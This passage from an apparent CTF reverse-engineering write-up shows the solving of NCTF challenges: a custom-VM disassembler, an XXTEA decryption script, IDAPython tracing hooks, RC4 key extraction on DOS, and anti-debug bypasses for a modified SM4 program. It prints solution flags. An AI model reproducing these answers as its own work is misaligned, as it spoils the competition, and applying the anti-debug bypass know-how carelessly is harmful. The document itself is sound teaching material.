                    b0, b1, b2, b3 = struct.unpack(&apos;&amp;#x3C;BBBB&apos;, chunk)
                except struct.error:
                     print(f&quot;Error: Could not unpack 4 bytes at offset 0x{offset:08X}.&quot;)
                     break

                offset_str = f&quot;0x{offset:08X}:&quot;
                # Format the raw bytes as hex strings, separated by spaces
                byte_str = &apos; &apos;.join(f&quot;{byte:02X}&quot; for byte in chunk)
                # Pad the byte string for alignment (4 bytes * 2 hex chars + 3 spaces = 11 chars)
                # Use padding of 12 for a bit extra space.
                padded_byte_str = f&quot;{byte_str:&amp;#x3C;12}&quot;

                vm1_mnemonic = VM1_OPS.get(b0)
                vm2_mnemonic = VM2_OPS.get(b0)

                instruction_part = &quot;&quot; # The mnemonic and operands part
                target_files = []

                if vm1_mnemonic and vm2_mnemonic: # Shared opcode
                    mnemonic = vm1_mnemonic
                    operands_str = parse_operands(mnemonic, b1, b2, b3)
                    instruction_part = f&quot;{mnemonic:&amp;#x3C;5} {operands_str}&quot;.strip()
                    target_files.extend([f_out1, f_out2])
                elif vm1_mnemonic: # VM1 specific
                    mnemonic = vm1_mnemonic
                    operands_str = parse_operands(mnemonic, b1, b2, b3)
                    instruction_part = f&quot;{mnemonic:&amp;#x3C;5} {operands_str}&quot;.strip()
                    target_files.append(f_out1)
                elif vm2_mnemonic: # VM2 specific
                    mnemonic = vm2_mnemonic
                    operands_str = parse_operands(mnemonic, b1, b2, b3)
                    instruction_part = f&quot;{mnemonic:&amp;#x3C;5} {operands_str}&quot;.strip()
                    target_files.append(f_out2)
                else: # Opcode not found in either map
                    print(f&quot;Warning: Unknown opcode 0x{b0:02X} at offset {offset_str}&quot;)
                    unknown_opcodes += 1
                    # Represent unknown opcodes clearly in the output
                    instruction_part = f&quot;; --- UNKNOWN OPCODE {b0:#04x} ---&quot;
                    # Write unknown lines to both files for completeness
                    target_files.extend([f_out1, f_out2])

                # Construct the final disassembled line including bytes
                disassembled_line = f&quot;{offset_str}  {padded_byte_str} {instruction_part}&quot;

                # Write the line to the determined target file(s)
                for f_out in target_files:
                    f_out.write(disassembled_line + &quot;\\n&quot;)

                processed_instructions += 1
                offset += INSTRUCTION_SIZE

        print(&quot;-&quot; * 30)
        print(f&quot;Disassembly complete.&quot;)
        print(f&quot;Processed {processed_instructions} instructions ({processed_instructions * INSTRUCTION_SIZE} bytes).&quot;)
        if unknown_opcodes &gt; 0:
            print(f&quot;Encountered {unknown_opcodes} unknown opcodes.&quot;)
        print(f&quot;VM1 output saved to &apos;{OUTPUT_VM1_FILE}&apos;&quot;)
        print(f&quot;VM2 output saved to &apos;{OUTPUT_VM2_FILE}&apos;&quot;)

    except IOError as e:
        print(f&quot;Error handling files: {e}&quot;)
    except Exception as e:
        print(f&quot;An unexpected error occurred: {e}&quot;)

# --- Run the Disassembler ---
if __name__ == &quot;__main__&quot;:
    # Run the main function
    disassemble()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Key takeaways of the two disasm code:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;; --- VM1 Disassembly from DumpedByteCodes.bin ---
; Offset           Bytes        Instruction
...
0x00000020:  16 01 00 1C  STRI  R1, [#0x1c] ; 0x9e3779b9
0x00000044:  12 02 00 04  LDRI  R2, [#0x04] ; y
0x0000004C:  12 03 00 10  LDRI  R3, [#0x10] ; z
0x00000064:  71 04 02 00  LSL   R4, R2, R0  ; y &amp;#x3C;&amp;#x3C; 2
0x0000006C:  73 05 03 0F  LSR   R5, R3, R15 ; z &gt;&gt; 5
0x00000070:  7A 06 04 05  XOR   R6, R4, R5  ; (z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)
0x00000088:  73 04 02 00  LSR   R4, R2, R0  ; y &gt;&gt; 3
0x00000098:  71 05 03 0F  LSL   R5, R3, R15 ; z &amp;#x3C;&amp;#x3C; 4
0x0000009C:  7A 07 04 05  XOR   R7, R4, R5  ; (y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4)
0x000000A0:  41 08 06 07  ADD   R8, R6, R7  ; ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)) + ((y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4))
0x000000CC:  16 05 00 28  STRI  R5, [#0x28] ; 0xa78c0b4f
0x000000DC:  73 09 01 0F  LSR   R9, R1, R15 ; sum &gt;&gt; 2
0x000000E8:  7B 0D 09 00  AND   R13, R9, R0 ; (sum &gt;&gt; 2) &amp;#x26; 3
0x000000EC:  7A 04 0D 0E  XOR   R4, R13, R14; p ^ ( (sum &gt;&gt; 2) &amp;#x26; 3 )
0x000000F4:  7B 04 04 00  AND   R4, R4, R0  ; p ^ ( (sum &gt;&gt; 2) &amp;#x26; 3 ) &amp;#x26; 3
0x00000104:  47 04 04 0C  MUL   R4, R4, R12 ; idx * 4
0x00000110:  41 0A 04 0F  ADD   R10, R4, R15; (idx * 4) + 0x20
0x0000011C:  11 04 0A 00  LDR   R4, [R10]   ; key[p ^ ( (sum &gt;&gt; 2) &amp;#x26; 3 ) &amp;#x26; 3]
0x00000120:  7A 06 01 02  XOR   R6, R1, R2  ; sum ^ y
0x00000128:  7A 07 03 04  XOR   R7, R3, R4  ; z ^ key[p]
0x0000012C:  41 09 06 07  ADD   R9, R6, R7  ; (sum ^ y) + (z ^ key[p ^ e &amp;#x26; 3])
0x0000013C:  7A 0A 08 09  XOR   R10, R8, R9 ; ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)) + ((y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z))
0x00000168:  16 05 00 20  STRI  R5, [#0x20] ; 0x6e637466
0x000001D8:  16 05 00 24  STRI  R5, [#0x24] ; 0x062ef0ed
0x000001DC:  12 02 00 08  LDRI  R2, [#0x08] ; y
0x000001E0:  12 03 00 00  LDRI  R3, [#0x00] ; z
0x000001F8:  71 04 02 00  LSL   R4, R2, R0  ; &amp;#x3C;&amp;#x3C; 2
0x00000208:  73 05 03 0F  LSR   R5, R3, R15 ; &gt;&gt; 5
0x00000268:  16 05 00 2C  STRI  R5, [#0x2c] ; 0x32303234&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;; --- VM2 Disassembly from DumpedByteCodes.bin ---
; Offset           Bytes        Instruction
0x0000002C:  91 01 01 03  ADD   R1, R1, R3  ;0x9e3779b9
0x00000048:  2B 0E 00 00  MOV   R14, #0x0000; p = 0
0x00000054:  14 02 00 04  LDRI  R2, [#0x04] ; y
0x00000058:  14 03 00 10  LDRI  R3, [#0x10] ; z
0x00000074:  C3 04 02 00  LSR   R4, R2, R0  ; y &gt;&gt; 2
0x00000078:  C1 05 03 0F  LSL   R5, R3, R15 ; z &amp;#x3C;&amp;#x3C; 5
0x0000007C:  CA 06 04 05  XOR   R6, R4, R5  ; (z &amp;#x3C;&amp;#x3C; 5) ^ (y &gt;&gt; 2)
0x00000094:  C1 04 02 00  LSL   R4, R2, R0  ; y &amp;#x3C;&amp;#x3C; 3
0x000000A4:  C3 05 03 0F  LSR   R5, R3, R15 ; z &gt;&gt; 4
0x000000B0:  CA 07 04 05  XOR   R7, R4, R5  ; (y &amp;#x3C;&amp;#x3C; 3)(z &gt;&gt; 4)
0x000000B4:  91 08 06 07  ADD   R8, R6, R7  ; (z &amp;#x3C;&amp;#x3C; 5) ^ (y &gt;&gt; 2) + (y &amp;#x3C;&amp;#x3C; 3) ^ (z &gt;&gt; 4)
0x000000E4:  18 05 00 28  STRI  R5, [#0x28] ; 0x9f1cf72e
0x000000F8:  C3 09 01 0F  LSR   R9, R1, R15 ; sum &gt;&gt; 2
0x000000FC:  CB 0D 09 00  AND   R13, R9, R0 ; (sum &gt;&gt; 2) &amp;#x26; 3
0x0000010C:  CA 04 0D 0E  XOR   R4, R13, R14; (sum &gt;&gt; 2) &amp;#x26; 3 ^ p
0x00000114:  CB 04 04 00  AND   R4, R4, R0  ; idx = (p &amp;#x26; 3) ^ ( (sum &gt;&gt; 2) &amp;#x26; 3 )
0x00000124:  97 04 04 0C  MUL   R4, R4, R12 ; idx * 4
0x00000134:  91 0A 04 0F  ADD   R10, R4, R15; 0x20 + idx * 4
0x00000138:  13 04 0A 00  LDR   R4, [R10]   ; mem[0x20 + idx * 4]
0x00000140:  CA 06 01 02  XOR   R6, R1, R2  ; sum ^ y
0x00000150:  CA 07 03 04  XOR   R7, R3, R4  ; mem[0x20 + idx * 4] ^ z
0x00000154:  91 09 06 07  ADD   R9, R6, R7  ; (sum ^ y) + (mem[0x20 + idx * 4] ^ z)
0x00000158:  CA 0A 08 09  XOR   R10, R8, R9 ; (z &amp;#x3C;&amp;#x3C; 5) ^ (y &gt;&gt; 2) + (y &amp;#x3C;&amp;#x3C; 3) ^ (z &gt;&gt; 4) + (sum ^ y) + (mem[0x20 + idx * 4] ^ z)
0x00000184:  18 05 00 20  STRI  R5, [#0x20] ; 0x32303234
0x000001D0:  18 05 00 24  STRI  R5, [#0x24] ; 0xd6eb12c3
0x00000270:  18 05 00 2C  STRI  R5, [#0x2c] ; 0x4e435446&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Memory layout of the two VM:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;2240&quot; height=&quot;645&quot; src=&quot;https://sh10rl.top/_astro/TLuhbEc9BozMZWxEptocGtuhnGh.hfMPPApd_Z17bJnl.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Decrypt script:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;#include &amp;#x3C;stdint.h&gt;
#include &amp;#x3C;stdlib.h&gt;
#include &amp;#x3C;stdio.h&gt;

#define DELTA 0x9e3779b9

void XXTEA_decrypt1(uint32_t *v, int n, const uint32_t key[4]) {
    if (n &amp;#x3C; 2) return;
    uint32_t y, z, sum, e;
    int p, q = 6 + 52 / n;
    sum = q * DELTA;
    y = v[0];
    do {
        e = (sum &gt;&gt; 2) &amp;#x26; 3;
        for (p = n - 1; p &gt; 0; p--) {
            z = v[p - 1];
            v[p] -= ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)) + ((y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z));
            y = v[p];
        }
        z = v[n - 1];
        v[0] -= ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)) + ((y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z));
        y = v[0];
        sum -= DELTA;
    } while (--q &gt; 0);
}

void XXTEA_decrypt2(uint32_t *v, int n, const uint32_t key[4]) {
    if (n &amp;#x3C; 2) return;
    uint32_t y, z, sum, e;
    int p, q = 6 + 52 / n;
    sum = q * DELTA;
    y = v[0];
    do {
        e = (sum &gt;&gt; 2) &amp;#x26; 3;
        for (p = n - 1; p &gt; 0; p--) {
            z = v[p - 1];
            v[p] -= ((z &amp;#x3C;&amp;#x3C; 5) ^ (y &gt;&gt; 2)) + ((y &amp;#x3C;&amp;#x3C; 3) ^ (z &gt;&gt; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z));
            y = v[p];
        }
        z = v[n - 1];
        v[0] -= ((z &amp;#x3C;&amp;#x3C; 5) ^ (y &gt;&gt; 2)) + ((y &amp;#x3C;&amp;#x3C; 3) ^ (z &gt;&gt; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z));
        y = v[0];
        sum -= DELTA;
    } while (--q &gt; 0);
}

int main()
{
    uint32_t key1[] = {0x6e637466, 0x062ef0ed, 0xa78c0b4f, 0x32303234};
    unsigned char cipher1[] =
    {
      0x5D, 0x45, 0xD5, 0xB9, 0x8C, 0x95, 0x9C, 0x38, 0x3B, 0xB1,
      0x3E, 0x1E, 0x5F, 0xC8, 0xE8, 0xBB, 0x64, 0x38, 0x48, 0x69
    };

    size_t cipher_len_bytes = sizeof(cipher1);
    int n = cipher_len_bytes / sizeof(uint32_t);

    XXTEA_decrypt1((uint32_t *)cipher1, n, (const uint32_t *)key1);

    // output
    printf(&quot;\\nDecrypted data (as chars, %zu bytes):\\n&quot;, cipher_len_bytes);
    for (size_t i = 0; i &amp;#x3C; cipher_len_bytes; i++)
    {
        if (cipher1[i] &gt;= 32 &amp;#x26;&amp;#x26; cipher1[i] &amp;#x3C;= 126) {
             printf(&quot;%c&quot;, cipher1[i]);
        } else {
             printf(&quot;.&quot;);
        }
    }

    uint32_t key2[] = {0x32303234, 0xd6eb12c3, 0x9f1cf72e, 0x4e435446};
    unsigned char cipher2[] =
    {
      0xDE, 0x81, 0xD8, 0xAD, 0xC2, 0xC4, 0xA6, 0x32, 0x1C, 0xAB,
      0x61, 0x3E, 0xCB, 0xFF, 0xEF, 0xF1, 0x27, 0x30, 0x7A, 0x16
    };

    XXTEA_decrypt2((uint32_t *)cipher2, n, (const uint32_t *)key2);

    // output
    printf(&quot;\\nDecrypted data (as chars, %zu bytes):\\n&quot;, cipher_len_bytes);
    for (size_t i = 0; i &amp;#x3C; cipher_len_bytes; i++)
    {
        if (cipher2[i] &gt;= 32 &amp;#x26;&amp;#x26; cipher2[i] &amp;#x3C;= 126) {
             printf(&quot;%c&quot;, cipher2[i]);
        } else {
             printf(&quot;.&quot;);
        }
    }

    return 0;
}

/*
std TEA
void XXTEA_encrypt(uint32_t *v, int n, const uint32_t key[4]) {
    if (n &amp;#x3C; 2) return;  // At least two elements
    uint32_t y, z, sum = 0, e;
    int p, q = 6 + 52 / n;  // Rounds
    z = v[n - 1];   // |  z(&gt;&gt;5  &amp;#x3C;&amp;#x3C;4)  |  v[p]  |  y(&gt;&gt;3  &amp;#x3C;&amp;#x3C;2) |
    do {
        sum += DELTA;
        e = (sum &gt;&gt; 2) &amp;#x26; 3;
        for (p = 0; p &amp;#x3C; n - 1; p++) {
            y = v[p + 1];
            v[p] += ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)) + ((y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z));
            z = v[p];
        }
        y = v[0];
        v[n - 1] += ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)) + ((y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z));
        z = v[n - 1];
    } while (--q &gt; 0);
}
*/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;341&quot; height=&quot;90&quot; src=&quot;https://sh10rl.top/_astro/IXoMbBqT8oPoO0xUOUdckVoqnTc.CnR0f2Ge_Z1uGxXG.webp&quot;&gt;&lt;/figure&gt;
&lt;p class=&quot;center&quot;&gt;&lt;code&gt;NCTF{H4rd_VM_with_Gor0ut1n3_5fc4b0be7ad}&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;method-2---idapython&quot;&gt;Method 2 - IDAPython&lt;/h3&gt;
&lt;p&gt;Instruction set:&lt;/p&gt;
&lt;p&gt;Each handler function’s oprands are stack passing:&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Oprand 1&lt;br&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;^0.1&lt;/code&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Oprand 2&lt;br&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;^1.1&lt;/code&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Oprand 3&lt;br&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;^2.1&lt;/code&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Write IDA python script to set “trace” breakpoint and hook registers:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;import idaapi
import idc

def set_python_bpt(ea, cond):
    &apos;&apos;&apos; 设置跟踪断点：触发时执行 Python 代码并继续执行 &apos;&apos;&apos;
    # 检查地址是否有效
    if not idaapi.is_mapped(ea):
        print(f&quot;[错误] 地址 {ea:x} 不在当前加载的模块中&quot;)
        return

    # 添加断点（类型：软件断点，默认行为）
    if not idaapi.add_bpt(ea, 0, idaapi.BPT_SOFT):
        print(f&quot;[错误] 无法在地址 {ea:x} 添加断点&quot;)
        return

    # 配置断点属性
    bpt = idaapi.bpt_t()
    if not idaapi.get_bpt(ea, bpt):
        print(f&quot;[错误] 无法获取地址 {ea:x} 的断点信息&quot;)
        return

    bpt.elang = &apos;Python&apos;  # 使用 Python 条件
    bpt.condition = cond  # 条件表达式
    bpt.flags |= idaapi.BPT_ENABLED  # 启用断点
    bpt.flags &amp;#x26;= ~idaapi.BPT_BRK  # 触发后不暂停程序（关键修改）

    if not idaapi.update_bpt(bpt):
        print(f&quot;[错误] 无法更新地址 {ea:x} 的断点&quot;)
        return
    print(f&quot;[成功] 在地址 {ea:x} 设置跟踪断点&quot;)

# ------------------------- 钩子函数定义 -------------------------
def hook_shr():
    rbx = idc.get_reg_value(&quot;rbx&quot;)
    cl = idc.get_reg_value(&quot;cl&quot;)
    val1 = rbx
    val2 = cl
    print(f&quot;{val1:x} &gt;&gt; {val2:x} = {(val1 &gt;&gt; val2) &amp;#x26; 0xFFFFFFFFFFFFFFFF:x}&quot;)

def hook_shl():
    rbx = idc.get_reg_value(&quot;rbx&quot;)
    cl = idc.get_reg_value(&quot;cl&quot;)
    val1 = rbx
    val2 = cl
    print(f&quot;{val1:x} &amp;#x3C;&amp;#x3C; {val2:x} = {(val1 &amp;#x3C;&amp;#x3C; val2) &amp;#x26; 0xFFFFFFFFFFFFFFFF:x}&quot;)

def hook_add():
    rdx = idc.get_reg_value(&quot;rdx&quot;)
    rax = idc.get_reg_value(&quot;rax&quot;)
    rbx = idc.get_reg_value(&quot;rbx&quot;)
    val1 = rdx
    val2 = idc.get_qword(rax + rbx*4)
    print(f&quot;{val1:x} + {val2:x} = {(val1 + val2) &amp;#x26; 0xFFFFFFFFFFFFFFFF:x}&quot;)

def hook_xor():
    rdx = idc.get_reg_value(&quot;rdx&quot;)
    rax = idc.get_reg_value(&quot;rax&quot;)
    rbx = idc.get_reg_value(&quot;rbx&quot;)
    val1 = rdx
    val2 = idc.get_qword(rax + rbx*4)
    print(f&quot;{val1:x} ^ {val2:x} = {(val1 ^ val2) &amp;#x26; 0xFFFFFFFFFFFFFFFF:x}&quot;)

def hook_sub():
    rdx = idc.get_reg_value(&quot;rdx&quot;)
    rax = idc.get_reg_value(&quot;rax&quot;)
    rbx = idc.get_reg_value(&quot;rbx&quot;)
    val1 = rdx
    val2 = idc.get_qword(rax + rbx*4)
    print(f&quot;{val1:x} - {val2:x} = {(val1 - val2) &amp;#x26; 0xFFFFFFFFFFFFFFFF:x}&quot;)

def hook_mul():
    rdx = idc.get_reg_value(&quot;rdx&quot;)
    rbx = idc.get_reg_value(&quot;rbx&quot;)
    val1 = rdx
    val2 = rbx
    print(f&quot;{val1:x} * {val2:x} = {(val1 * val2) &amp;#x26; 0xFFFFFFFFFFFFFFFF:x}&quot;)

def hook_and():
    rdx = idc.get_reg_value(&quot;rdx&quot;)
    rax = idc.get_reg_value(&quot;rax&quot;)
    rbx = idc.get_reg_value(&quot;rbx&quot;)
    val1 = rdx
    val2 = idc.get_qword(rax + rbx*4)
    print(f&quot;{val1:x} &amp;#x26; {val2:x} = {(val1 &amp;#x26; val2) &amp;#x26; 0xFFFFFFFFFFFFFFFF:x}&quot;)

# ------------------------- 设置断点 -------------------------
# 设置跟踪断点列表（地址需根据实际情况调整）
trace_bpts = [
    (0x0000000000848860, &apos;hook_shr()&apos;),
    (0x0000000000848820, &apos;hook_shl()&apos;),
    (0x000000000084871D, &apos;hook_add()&apos;),
    (0x00000000008487DD, &apos;hook_xor()&apos;),
    (0x000000000084875D, &apos;hook_sub()&apos;),
    (0x00000000008487A0, &apos;hook_mul()&apos;),
    (0x000000000084889D, &apos;hook_and()&apos;)
]

for ea, cond in trace_bpts:
    set_python_bpt(ea, cond)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;ezdos&quot;&gt;ezDOS&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;MS-DOS on Intel 8086. old but classic architecture&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;Directly examine the assembly code, a heavily modified RC4 and junk code are inspected. Don’t care about its internal implementation, the final XOR step remains unmodified. Hence extract the XOR Key in the proccess.&lt;/p&gt;
&lt;p&gt;Junk code:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1105&quot; height=&quot;228&quot; src=&quot;https://sh10rl.top/_astro/LA2nbAYq6o9px2xNMCYcbrRfnkd.CyL4R9Nf_Z1fMPWK.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Debug:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1999&quot; height=&quot;1524&quot; src=&quot;https://sh10rl.top/_astro/Qg1ObBTOLodmrJxuXI1cCSC7nIc.bCxnod_a_Z1K9JC1.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;callout&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout-title&quot;&gt;Note&lt;/p&gt;
&lt;p&gt;Input buffer structure in 8086 dos: &lt;code&gt;0x40(maxLength)&lt;/code&gt; + &lt;code&gt;actualLength&lt;/code&gt;+ &lt;code&gt;data&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1672&quot; height=&quot;562&quot; src=&quot;https://sh10rl.top/_astro/Qhg6bB49Mokbzfxke2dcofuonTc.DKvrhh2A_ZMdCYV.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1809&quot; height=&quot;504&quot; src=&quot;https://sh10rl.top/_astro/LfgPbReQyoW71cx46amc7RjhnQe.CjXnz2oH_Z1KlOSc.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;2659&quot; height=&quot;823&quot; src=&quot;https://sh10rl.top/_astro/ICfdbhOYsoZWWLxLLakc6UoBntb.GNirVTWl_1gu4YC.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;# 0x26 &apos;a&apos; chars: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa，XORed
53 1C 38 1B 92 6C D2 1A 05 ED 8A 49 A5 C5 31 51 C1 8C 46 0B 82 17 08 6D BB 49 99 69 DB C7 76 5F 73 38 24 67 2F 90&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;# Key
32 7d 59 7a f3 0d b3 7b 64 8c eb 28 c4 a4 50 30 a0 ed 27 6a e3 76 69 0c da 28 f8 08 ba a6 17 3e 12 59 45 06 4e f1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;# Cipher
7C 3E 0D 3C 88 54 83 0E 3B B8 99 1B 9B E5 23 43 C5 80 45 5B 9A 29 24 38 A9 5C CB 7A E5 93 73 0E 70 6D 7C 31 2B 8C&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://gchq.github.io/CyberChef/#recipe=From_Hex(&amp;#x27;Auto&amp;#x27;)XOR(%7B&amp;#x27;option&amp;#x27;:&amp;#x27;Hex&amp;#x27;,&amp;#x27;string&amp;#x27;:&amp;#x27;32%207d%2059%207a%20f3%200d%20b3%207b%2064%208c%20eb%2028%20c4%20a4%2050%2030%20a0%20ed%2027%206a%20e3%2076%2069%200c%20da%2028%20f8%2008%20ba%20a6%2017%203e%2012%2059%2045%2006%204e%20f1&amp;#x27;%7D,&amp;#x27;Standard&amp;#x27;,false)&amp;#x26;input=N0MgM0UgMEQgM0MgODggNTQgODMgMEUgM0IgQjggOTkgMUIgOUIgRTUgMjMgNDMgQzUgODAgNDUgNUIgOUEgMjkgMjQgMzggQTkgNUMgQ0IgN0EgRTUgOTMgNzMgMEUgNzAgNkQgN0MgMzEgMkIgOEM&amp;#x26;oeol=NEL&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Cyberchef&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;center&quot;&gt;&lt;code&gt;NCTF{Y0u_4r3_Assemb1y_M4st3r_5d0b497e}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;safeprogram&quot;&gt;SafeProgram&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The program monitors everything you do.
So it reminds you: “DONOT DEBUG ME!”.
But really?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;The main function implements SM4 encryption without modifying S-Box. Note that one dummy thread is continuously spawned / terminated, which triggers TLS each time.&lt;/p&gt;
&lt;p&gt;TLS then triggers CRC self-validation whenever a thread is created. By using a hardware breakpoint to bypass this validation, we can obtaining the hacked S-Box.&lt;/p&gt;
&lt;p&gt;If we set software breakpoint, then &lt;code&gt;0xE0000001&lt;/code&gt; exception occurred:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;616&quot; height=&quot;150&quot; src=&quot;https://sh10rl.top/_astro/LKNtbEXivoJkgExzeT5c1klrnbu.DLnx-KQ4_2TXHs.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;No(discard)&lt;/code&gt;, F8 step over:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;495&quot; height=&quot;145&quot; src=&quot;https://sh10rl.top/_astro/BYyNbyO7xoX29BxLqoBcTWGDnEd.Cp_5A8AB_1zbXPc.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Now the callback functions were found:&lt;/p&gt;
&lt;div class=&quot;callout&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout-title&quot;&gt;Tip&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DLL_PROCESS_ATTACH (1): Process initialization&lt;/li&gt;
&lt;li&gt;DLL_THREAD_ATTACH (2): Thread creation&lt;/li&gt;
&lt;li&gt;DLL_THREAD_DETACH (3): Thread exit&lt;/li&gt;
&lt;li&gt;DLL_PROCESS_DETACH (0): Process termination&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;543&quot; height=&quot;198&quot; src=&quot;https://sh10rl.top/_astro/WpdVbnu4moaZGux4MDycW5YOnhc.D5-JTVJT_Z18sBmC.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;529&quot; height=&quot;189&quot; src=&quot;https://sh10rl.top/_astro/HWTqbsTlhoUhyOxJC4hcDnyQnmM.mYMOH6r0_2mdXVN.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;649&quot; height=&quot;174&quot; src=&quot;https://sh10rl.top/_astro/JaJcbODD7o7lI7xuIJUc0PISntc.BWKs02Fc_ZxJ7jQ.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1551&quot; height=&quot;223&quot; src=&quot;https://sh10rl.top/_astro/HNdMbhNzkouAejxoL58c69Xznqf.DGk1xZvb_lQGG6.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Divide by 0 exception:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1760&quot; height=&quot;296&quot; src=&quot;https://sh10rl.top/_astro/LNZVbXqxDoNZapxFuWfcH5M8n5f.BkNajsAk_11bV5M.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1259&quot; height=&quot;259&quot; src=&quot;https://sh10rl.top/_astro/HQV4byuX3okcw9xTInlc0gUtnPh.12fGmXQO_Z1YJcSn.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The decrypted keySource array orchestrates a sequential substitution on SBox.&lt;/p&gt;
&lt;p&gt;Extract necessary data, and write a decrypt script:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;import struct

# 系统参数
FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]

# 固定参数CK
CK = [
    0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
    0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
    0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
    0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
    0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
    0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
